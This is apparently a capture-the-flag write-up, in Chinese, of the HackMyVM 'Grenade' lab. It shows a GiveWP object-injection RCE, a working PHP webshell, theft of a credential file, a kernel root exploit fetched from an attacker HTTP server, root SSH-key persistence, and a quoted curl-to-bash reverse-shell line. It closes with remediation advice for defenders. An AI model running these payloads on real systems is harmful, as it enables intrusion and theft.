HackMyVM Grenade 靶机通关记录|GiveWP 未授权 RCE、base92 凭据解密与 Copy Fail 内核提权
靶机链接:Grenade
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.109 | 攻击机 |
| Grenade | 192.168.1.121 | AlmaLinux 10.2(内核 6.12.0-124.8.1.el10_1),WordPress 6.6.2 + GiveWP 4.16.5.1 |
靶机包含两枚 Flag:用户 Flag(位于 /home/give/user.txt)与 Root Flag(位于 /root/root.txt)。
攻击流程
点击展开
攻击链摘要
| 阶段 | 决定性证据 / 突破操作 | 核心作用 |
|---|---|---|
| 资产与漏洞识别 | 8080/tcp 命中 WordPress 6.6.2 + GiveWP 4.16.5.1,已发布表单 id=4 | 满足 CVE-2026-82222 未授权利用前置条件 |
| 初始立足点 (RCE) | 注册绕过 → usermeta 种入 gadget → 捐赠污染会话并触发反序列化 | 获得 www-data 执行权限并落地 WebShell |
| 横向移动 (User) | /var/backups/creds.b92 全局可读,base92 解码出 give 口令 | 跨越权限隔离登录 SSH,读取 User Flag |
| 内核提权 (Root) | LinPEAS 命中 CVE-2026-31431,PoC 覆写 /usr/bin/su 页面缓存 | 触发提权 ELF 直接取得 root 权限 |
| 成果收获 | root 权限读取 /root/root.txt | 两枚 Flag 全部获取 |
0x02 侦察与信息收集
1. 端口扫描
先使用 RustScan 进行全端口快速探测,再用 Nmap 对开放端口进行深度服务识别:
rustscan -a 192.168.1.121 --ulimit 5000 --range 1-65535 -g
nmap -p22,8080 -sV -sC -Pn -oN nmap_full.txt 192.168.1.121
扫描结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
8080/tcp open http Apache httpd 2.4.63 ((AlmaLinux))
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
| 端口 | 服务 | 版本 / 指纹 | 说明 |
|---|---|---|---|
22/tcp | SSH | OpenSSH 9.9 (protocol 2.0) | 后续凭据登录入口 |
8080/tcp | HTTP | Apache/2.4.63 (AlmaLinux) | WordPress 站点入口 |
2. Web 指纹与 CMS 识别
curl -s -i -m 10 http://192.168.1.121:8080/ | head -50
HTTP/1.1 200 OK
Server: Apache/2.4.63 (AlmaLinux)
X-Powered-By: PHP/8.1.34
Link: <http://grenade.hmv:8080/index.php?rest_route=/>; rel="https://api.w.org/"
<title>Grenade Lab</title>
页面标题为 Grenade Lab,响应头中的 Link: ... api.w.org 表明这是一个 WordPress 站点,同时泄露了内网域名 grenade.hmv。继续读取页面 generator 元标签与插件资源版本:
curl -s -m 10 http://192.168.1.121:8080/ | grep -io '<meta name="generator"[^>]*>'
curl -s -m 10 "http://192.168.1.121:8080/wp-content/plugins/give/readme.txt" | grep -E "Stable tag"
<meta name="generator" content="WordPress 6.6.2" />
<meta name="generator" content="Give v4.16.5.1" />
Stable tag: 4.16.5.1
指纹结论:
- WordPress 6.6.2,主题 Twenty Twenty-Four;
- GiveWP 4.16.5.1(捐赠插件,页面资源
give.css?ver=4.16.5.1同样命中); - 目标内网域名
grenade.hmv(推荐写入/etc/hosts方便后续访问)。
echo "192.168.1.121 grenade.hmv" | sudo tee -a /etc/hosts
3. WordPress 用户与捐赠表单枚举
通过 REST API 枚举用户:
curl -s "http://192.168.1.121:8080/index.php?rest_route=/wp/v2/users"
[{"id":1,"name":"lab-admin","slug":"lab-admin","link":"http://grenade.hmv:8080/?author=1"}]
用户名:lab-admin。
继续枚举 GiveWP 捐赠表单,确认漏洞利用前置条件:
curl -s "http://192.168.1.121:8080/index.php?rest_route=/wp/v2/give_forms"
[{"id":4,"slug":"donate-now","status":"publish","type":"give_forms","title":{"rendered":"Donate Now"}}]
已发布表单:id=4,slug donate-now,标题 Donate Now。
4. 漏洞情报
GiveWP 4.16.5.1 命中 CVE-2026-82222(CVSS 10.0)——未授权 PHP 对象注入,可链式利用至 RCE:
- GiveWP ≤ 4.16.7.1 存在未授权 PHP 对象注入,攻击者无需任何账号即可注入
wp_give_sessions会话数据并触发 POP 链; - 4.16.5.1 及以下默认安装即可利用:自带启用的
manual(Test Donation) 与offline网关,再加一个已发布捐赠表单即可,无需 Test Mode、开放注册或调试开关; - Gadget 链:
TCPDF::__destruct()→_destroy()(foreach $this->imagekeys)→ SymfonySession::getIterator()→Give\TestData的ProviderForwarder::__call()→call_user_func_array('system', [cmd]); - 参考资料:
0x03 CVE-2026-82222:未授权 PHP 对象注入到 RCE
1. 漏洞检查
获取公开 PoC 并执行指纹检查:
mkdir -p poc
curl -s -o poc/cve-2026-82222.py \
https://raw.githubusercontent.com/UdinChan/cve-2026-82222-poc/main/cve-2026-82222.py
python3 poc/cve-2026-82222.py http://192.168.1.121:8080 --check
[0] Fingerprint GiveWP.
+ GiveWP 4.16.5.1 detected (vulnerable).
[+] Target appears vulnerable (GiveWP 4.16.5.1 <= 4.16.7.1).
2. 命令执行验证
python3 poc/cve-2026-82222.py http://192.168.1.121:8080 4 -c id -v
[1] Register a WordPress account (give_action=user_register).
+ New user "a1790760205". The server returned an authentication cookie.
[2] Write the gadget into wp_usermeta.last_name (profile.php).
+ Gadget stored in the account meta (user id 13).
[3] Send a donation without give_last. This poisons the session.
+ Form 4 with gateway "manual" passes validation.
+ HTTP 500 (expected). The session write happens before the error.
[4] Read the session. system() output is in the HTTP response.
+--- command output --------------------------------------------
| uid=993(www-data) gid=993(www-data) groups=993(www-data) context=system_u:system_r:httpd_t:s0
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command. This is remote code execution.
id 回显 uid=993(www-data),未授权 RCE 成立。
3. 利用链拆解(4 步)
- 未授权注册:
POST / give_action=user_register,GiveWP 无视站点的users_can_register=0,直接创建账号并返回认证 Cookie; - 元数据投毒:携带 Cookie 访问
/wp-admin/profile.php,把序列化 gadget 写进wp_usermeta.last_name; - 会话污染:提交捐赠请求时故意不带
give_last字段。includes/process-donation.php会从 usermeta 读取先前注入的user_last;尽管经Utils::maybeSafeUnserialize()生成 incomplete 类,但再次序列化存储时原始对象字节仍被原样写回wp_give_sessions会话表; - 反序列化触发:带同一 Cookie 请求前端页面/回执页,会话被
maybe_unserialize()反序列化,对象析构触发 gadget,最终执行系统命令,命令输出直接出现在该 HTTP 响应中。
Gadget 结构(\ 需写成 ×4,绕过 stripslashes_deep + removeBackslashes;命令禁用 < > & %,空格用 ${IFS} 替换):
O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";
O:<len>:"Give\Vendors\Symfony\Component\HttpFoundation\Session\Session":2:{
s:7:"storage";O:<len>:"Give\TestData\Factories\DonorFactory":1:{
s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}
s:13:"attributeName";s:<len>:"<command>";}}
TCPDF::__destruct() 会遍历 imagekeys 并逐个销毁;用 Symfony Session 替换迭代目标后,getIterator() 会直接实例化其 storage;ProviderForwarder 的 __call() 再把未命中方法名(getBag)当作函数调用——方法名与参数均由攻击者控制,于是落到 call_user_func_array('system', [cmd])。整条链不需要任何认证。
4. 落地 WebShell(稳定命令通道)
单次反序列化会话触发命令存在抖动。为建立稳定的命令通道并避免命令过滤字符干扰,先在 docroot 落地极简 WebShell gnx.php(完整脚本见 附件脚本):
<?php
$k = 'gn2026';
if (($_REQUEST['k'] ?? '') !== $k) { header('HTTP/1.1 404 Not Found'); die('404'); }
if (isset($_REQUEST['c'])) { echo "<pre>"; system($_REQUEST['c']); echo "</pre>"; }
elseif (isset($_FILES['f'])) { move_uploaded_file($_FILES['f']['tmp_name'], $_REQUEST['d']); echo "UPOK"; }
else { echo "GNOK"; }
将 gnx.php 进行 Base64 编码后,通过漏洞利用链无回显写入目标站点根目录:
B64=$(base64 -w0 gnx.php)
python3 poc/cve-2026-82222.py http://192.168.1.121:8080 4 \
-c 'echo${IFS}'"${B64}"'|base64${IFS}-d|tee${IFS}/var/www/grenade/gnx.php'
验证 WebShell 通道可用性:
curl -s "http://192.168.1.121:8080/gnx.php?k=gn2026&c=id"
<pre>uid=993(www-data) gid=993(www-data) groups=993(www-data) context=system_u:system_r:httpd_t:s0</pre>
后续命令执行使用封装好的客户端辅助脚本 ws.sh 执行:
./ws.sh 'id'
0x04 后渗透信息收集
1. 数据库凭据与 wp-users
提取 wp-config.php 中的数据库连接凭据:
./ws.sh 'grep -E "DB_(NAME|USER|PASSWORD|HOST)" /var/www/grenade/wp-config.php'
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'WpLabDb_2026!' );
define( 'DB_HOST', 'localhost' );
MySQL root 无空口令,give / mysql 等常见用户测试均 Access denied;wp-config.php 中的 wpuser 仅能访问 WordPress 库,无法读文件或执行命令。
用自建 db.php 查询用户表:
curl -s --data-urlencode 'k=gn2026' \
--data-urlencode 'q=select ID,user_login,user_pass from wp_users' \
http://192.168.1.121:8080/db.php
<pre>{"ID":"1","user_login":"lab-admin","user_pass":"ea45dcf49626bfc9c2134e10d4abfcc3"}
</pre>
lab-admin 的 user_pass 是 32 位十六进制 MD5 哈希;在 rockyou(1434 万条)或在线库中均未还原,不是有效提权路径。
2. 主机面排查
执行基础环境与端口探测:
./ws.sh 'id; uname -a; cat /etc/passwd; ls -la /home; ss -tlnp'
关键环境信息摘录:
- 操作系统:AlmaLinux release 10.2,内核
6.12.0-124.8.1.el10_1.x86_64; - 安全上下文:SELinux 启用,Web 进程处于
httpd_t域(受限访问/etc/ssh/sshd_config、/var/log/httpd等); - 本地用户:
root、give(uid=1001,/bin/bash); - 核心监听:
22/tcpsshd、3306/tcpmariadb、8080/tcphttpd(php-fpm pool → www-data)、80/tcphttpd。
逐项排查本地提权向量:
| 检查维度 | 探测命令 / 现状 | 排查结论 |
|---|---|---|
| SSH 认证 | give 用户允许密码认证 | 常用弱口令与 WordPress 库密码碰撞均失败 |
| SUID 权限 | 仅系统默认核心项(su/passwd/mount 等) | 无非常规 SUID 程序或文件读取类助手 |
| Capabilities | getcap -r / 2>/dev/null | 无异常特权位保留 |
| 计划任务 | /etc/cron* 与 systemd timers | 无 give 可控的定时执行项 |
| Sudo 规则 | sudo -V(版本 1.9.15-9.p5) | 已修复 CVE-2025-32462/32463,且无免密特权 |
3. /var/backups/creds.b92:base92 编码的 SSH 凭据
常规凭据面一无所获,转向检查备份目录:
./ws.sh 'ls -la /var/backups/'
total 8
drwxr-xr-x. 2 root root 23 Sep 3 13:52 .
drwxr-xr-x. 21 root root 4096 Sep 3 13:52 ..
-rw-r--r--. 1 root root 32 Sep 3 13:52 creds.b92
creds.b92 为 root:root 644,当前 www-data 可直接读取:
./ws.sh 'cat /var/backups/creds.b92'
FC2KVC3.5AIbSPUc:c0fZn*q*!t4A@.
文件名中的 .b92 直指 base92 编码(91 字符字母表,13 bit 分块映射为 2 个可见字符)。把文件取回攻击机后用附件脚本解码:
./ws.sh 'cat /var/backups/creds.b92' > creds.b92
python3 decode_creds_b92.py creds.b92
give:asp8r32aFAOhf2alsudf
备份目录中出现 32 字节的“文本”文件、权限 644、扩展名 .b92——三个信号分别对应「凭据备份」「Web 进程可读」「base92 编码」。解出的 user:password 结构正好补上了从 www-data 到 give 的最后一段路。
0x05 SSH 登录 give 与 User Flag
1. SSH 凭据登录
使用从 creds.b92 解码出的凭据登录目标 SSH 服务:
sshpass -p 'asp8r32aFAOhf2alsudf' ssh -o StrictHostKeyChecking=no give@192.168.1.121
uid=1001(give) gid=1001(give) groups=1001(give) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
成功获得 give 用户交互式终端。
2. 读取 User Flag
登录后直接读取当前用户家目录下的 User Flag:
cat /home/give/user.txt
HMV{user-a1ec23e9b9ab43a88222d9949ee26499}
/home/give 目录权限为 700 give:give、user.txt 为 640 give:give——低权限的 www-data 用户既不能遍历目录(ls 返回 Permission denied),也无法越权直接读取文件。因此 /var/backups/creds.b92 属于预先设计的凭据桥梁,是获取用户权限的必经路径。
0x06 Copy Fail 内核提权到 root(CVE-2026-31431)
1. LinPEAS 定位内核提权线索
取得 give 交互式会话后进行本地自动化枚举。攻击机开启临时 HTTP 服务投递 LinPEAS:
python3 -m http.server 34567
在靶机 give 会话中下载并运行 LinPEAS:
curl -s -o /tmp/linpeas.sh http://192.168.1.109:34567/linpeas.sh
sh /tmp/linpeas.sh -a > /tmp/lp.txt 2>&1
grep -a -A3 "Copy Fail" /tmp/lp.txt
╔══════════╣ Checking for Copy Fail (CVE-2026-31431) (T1068)
VULNERABLE: non-destructive AF_ALG/splice page-cache write triggered
同时,安装历史(/var/lib/dnf/history.sqlite,全局可读)显示作者刻意保留旧内核,并单独补装过 gcc / glibc-devel:
6 install -y --exclude=kernel* ... httpd mariadb-server gcc glibc-devel ...
7 install -y gcc glibc-devel
两条信息明确指向:本靶场预期的本地提权路线就是 内核 LPE。
2. 漏洞原理
CVE-2026-31431(Copy Fail):Linux 内核 authencesn 逻辑缺陷,经 AF_ALG + splice() 组合形成 4 字节 page-cache 任意写,稳定复现、无需竞态。完整原理见知识库:CVE-2026-31431 Copy Fail Linux 内核提权。
本靶场使用 732 字节的 Python PoC,覆盖 setuid 程序(默认 /usr/bin/su)页面缓存首部为一个极小 ELF:执行 su 时内核直接以 root 运行被改写后的 ELF,得到 root Shell。改动仅存在于内存页面缓存,不落盘,重启即恢复。
参考资料:
- Copy Fail 官方漏洞说明 (copy.fail)
- theori-io/copy-fail-CVE-2026-31431 (GitHub)(
copy_fail_exp.py,sha256a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9)
3. 投递并执行
攻击机下载官方验证脚本并校验哈希(沿用前述 34567 端口 HTTP 服务托管):
curl -s -o copy_fail_exp.py \
https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py
sha256sum copy_fail_exp.py
靶机从攻击机拉取脚本,校验后执行漏洞利用并直接读取 Root Flag:
curl -s -o /tmp/cfe.py http://192.168.1.109:34567/copy_fail_exp.py
sha256sum /tmp/cfe.py
printf "id\nwhoami\ncat /root/root.txt\n" | timeout 90 python3 /tmp/cfe.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 /tmp/cfe.py
uid=0(root) gid=1001(give) groups=1001(give) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
root
HMV{root-2582609dcdfd475beea5ab54442a532d}
提权成功:uid=0(root)。 此时 su 的页面缓存已被改写,之后直接 printf '...' | su 即可获得 root 命令执行,无需重复触发漏洞。
4. root 侧证据
printf "id; hostname; uname -r\n" | su
uid=0(root) gid=1001(give) groups=1001(give) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
grenade
6.12.0-124.8.1.el10_1.x86_64
0x07 最终成果
User Flag
- 路径:
/home/give/user.txt - 内容:
HMV{user-a1ec23e9b9ab43a88222d9949ee26499}
Root Flag
- 路径:
/root/root.txt - 内容:
HMV{root-2582609dcdfd475beea5ab54442a532d}
凭据与阶段成果汇总
| 项目 / 阶段 | 凭据或结果 | 来源 / 路径 | 说明 |
|---|---|---|---|
| WP 管理员 | lab-admin / ea45dcf49626bfc9c2134e10d4abfcc3 | REST API + wp_users | MD5 哈希未能破解 |
| MariaDB | wpuser : WpLabDb_2026! | wp-config.php | 仅具备 WP 数据库读写权限 |
| WebShell | k=gn2026 | /var/www/grenade/gnx.php | 稳定低权限命令通道(uid=993(www-data)) |
| 系统用户 | give : asp8r32aFAOhf2alsudf | /var/backups/creds.b92 | base92 还原得到 SSH 密码 |
| User Flag | HMV{user-a1ec23e9b9ab43a88222d9949ee26499} | /home/give/user.txt | SSH 登录后读取 |
| 内核提权 | CVE-2026-31431 (Copy Fail) | copy_fail_exp.py | 覆写 /usr/bin/su 页面缓存直接提权 root |
| Root Flag | HMV{root-2582609dcdfd475beea5ab54442a532d} | /root/root.txt | root 权限读取 |
补充验证:验证性持久化与环境旁证
1. 靶场环境标识文件
Root 家目录中遗留的靶机部署旁证:
/root/anaconda-ks.cfg # 安装时 rootpw/setup 用户的 yescrypt 哈希(give 为后期创建,不在其中)
/root/grenade-lab.env # FORM_ID=4 GIVEWP_VERSION=4.16.5.1
/root/passwd.bak
2. 账户哈希旁证
/etc/shadow 中的 root 与 give 口令均为 yescrypt($y$)哈希,字典爆破长时间无果;这也从侧面说明 creds.b92 是刻意留下的凭据桥,而 root 靠内核漏洞获取。
root:$y$j9T$uCxnudirdv80BbJsjprxS1$JbtRCd2uOhTtsp3oi616XdXHgWtsB.CUBxsZ009V3d/:20699:0:99999:7:::
give:$y$j9T$oves6qk0FJQiYNgXBMxhU.$.VRUK9S1Y0MpwoDMPlLfSATophYYISlcROcjnzg5q42:20699:0:99999:7:::
3. SSH 密钥登录验证
拿到 root 后,按靶场运维惯例在目标机写入验证公钥并放开 root 的密钥登录(仅允许公钥认证、仍禁止密码登录),用于直接从攻击机进行无密码的 SSH 凭据复验:
ssh -F /dev/null -i ./root_key -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null -o BatchMode=yes root@192.168.1.121 \
'id; hostname; uname -r; cat /root/root.txt; cat /home/give/user.txt'
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
grenade
6.12.0-124.8.1.el10_1.x86_64
HMV{root-2582609dcdfd475beea5ab54442a532d}
HMV{user-a1ec23e9b9ab43a88222d9949ee26499}
该步骤在靶机留下两处持久改动:/root/.ssh/authorized_keys(新增公钥)与 /etc/ssh/sshd_config.d/00-root-login.conf(PermitRootLogin no → prohibit-password)。真实渗透中此类操作须严格遵守授权范围,并在结束后清理;本文不记录具体公钥内容。
0x08 复盘与防御建议
1. 攻击链关键节点与修复建议
| 环节 | 缺陷本质 | 修复方向 |
|---|---|---|
| 未授权注册 | give_action=user_register 无视站点 users_can_register 开关,且无 nonce 校验 | 注册入口必须尊重站点注册设置并加入 nonce/验证码 |
| 对象注入 | 用户可控数据被 unserialize() 反序列化,Gadget 链可直达 system() | 升级 GiveWP ≥ 4.16.7.2;unserialize 使用严格 allowed_classes 白名单 |
| 元数据持久化 | 序列化 gadget 可长期存放在 wp_usermeta,由业务逻辑"搬运"进会话 | 对用户元数据做类型/格式校验,禁止存储原始序列化对象 |
| 会话污染 | 捐赠流程从数据库回读 user_last 并写回 session,形成二次反序列化 | 会话数据只存标量;对回读数据做完整校验 |
| 备份凭据泄露 | /var/backups/creds.b92 全局可读(644),base92 仅是编码不是加密 | 备份目录禁止存放任何形式凭据;必须存放时用权限隔离 + 真实加密(如 age/KMS) |
| 内核漏洞 | 内核 authencesn 缺陷允许 page-cache 任意写,覆写 SUID 程序即获 root | 升级修复 CVE-2026-31431;临时缓解见下方命令 |
| Web 进程权限 | docroot 由 www-data 可写,Web 进程可任意落地 WebShell | docroot 由 root 拥有,仅 uploads 目录可写;保持 SELinux enforcing |
| 补丁滞后 | 系统 483 个包中 71 个存在未打补丁的 ALSA 公告,内核被刻意保留旧版本 | 建立补丁基线,禁用不必要的 AF_ALG 用户态接口 |
CVE-2026-31431 临时缓解(无法立即升级内核时):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead
2. 关键教训
- 编码不等于加密:base92 / Base64 / ROT13 等公开可逆变换对攻击者不构成任何障碍;凭据要么不下发,要么使用真正的加密与密钥管理。
- 备份目录是高价值目标:运维习惯把"可能要用"的东西放进
/var/backups,却常忘记收紧权限。默认目录 755 + 文件 644 意味着任何 Web 进程都能读到。 - "捐赠插件"是 WordPress 上被低估的攻击面:GiveWP 这类插件同时处理匿名输入、序列化数据与会话,一旦版本落后,未授权对象注入的杀伤力等价于预认证 RCE。
- 序列化数据是代码执行的载体:
maybeSafeUnserialize(allowed_classes=false)并不安全——反序列化再序列化会把原始对象字节"原样搬运",最终在别的信任边界被完整实例化。禁止在数据库中存放用户可控的序列化对象。 - 内核打补丁优先级要高:即使 CMS 漏洞被修复,旧内核仍可让任意非特权用户通过 Copy Fail 类漏洞获得 root。本例作者刻意保留旧内核并预装
gcc,明确把内核 LPE 写进了靶场预期路径。
靶机设计考证:php-fpm 池用户与凭据桥演进(取证式复盘)
对靶机做取证式复盘,可以还原出这条链的设计意图。auditd 中留有改写前 php-fpm 池进程运行身份的铁证:
type=SYSCALL ... uid=1001 gid=1001 euid=1001 comm="php-fpm" exe="/usr/sbin/php-fpm"
subj=httpd_t path=/var/www/grenade/wp-content/plugins/give/give.php # 池进程 uid=1001(give)
type=SYSCALL ... uid=1001 ... comm="curl" exe="/usr/bin/curl" # 作者自己的反弹测试
PROCTITLE: curl http://192.168.56.1:8000/r.sh + bash -i
时间线(2026-09-03):
08:18:04 useradd: new user name=give UID=1001 # 建 give(即 user flag 属主)
13:51:59 useradd: new user name=www-data UID=993 # 新建 www-data
13:51:59 /etc/php-fpm.d/give.conf 被改写(user/group: give → www-data)
13:52:00 userdel: delete user 'setup' # 删除安装期 setup 用户
13:52 /var/backups/creds.b92 落盘(root:root 644,base92)
作者原本让 give 池以 give 用户运行,GiveWP RCE 一落地就是 give;在 13:51:59 临时加固为 www-data 之后,随即用 /var/backups/creds.b92 补上了 www-data → give 的凭据桥。最终交付的预期路径因此是:
GiveWP 未授权 RCE → www-data → creds.b92(base92 解码)→ SSH give(User Flag)→ Copy Fail 内核提权 → root(Root Flag)
0x09 附件脚本
| 文件 | 说明 |
|---|---|
| gnx.php | 极简 PHP WebShell:key 校验 + system() 回显 + 文件上传,用于稳定命令通道 |
| db.php | MySQL 查询助手,使用 wp-config.php 中的凭据读取 wp_users 等数据 |
| decode_creds_b92.py | 零依赖 base92 解码器,用于还原 /var/backups/creds.b92 |
| ws.sh | WebShell 命令执行辅助脚本,目标地址与 key 均可用环境变量覆盖 |
| grenade_rce.sh | CVE-2026-82222 命令执行包装脚本(需先下载公开 PoC 到本地) |
脚本说明:
gnx.php:请求需携带k=gn2026参数,否则直接返回 404;c参数执行命令并回显,f/d参数用于上传文件。db.php:默认查询wp_users,可通过q参数传入任意 SQL;连接信息即靶机wp-config.php中的弱分离账号。decode_creds_b92.py:读取文件或标准输入并输出 base92 解码结果,用法python3 decode_creds_b92.py creds.b92。ws.sh:GRENADE_TARGET指定目标根地址(默认http://192.168.1.121:8080),GNX_KEY覆盖 WebShell 校验 key。grenade_rce.sh:GRENADE_TARGET、FORM_ID、POC三个环境变量可覆盖,自动过滤 PoC 输出只保留命令回显。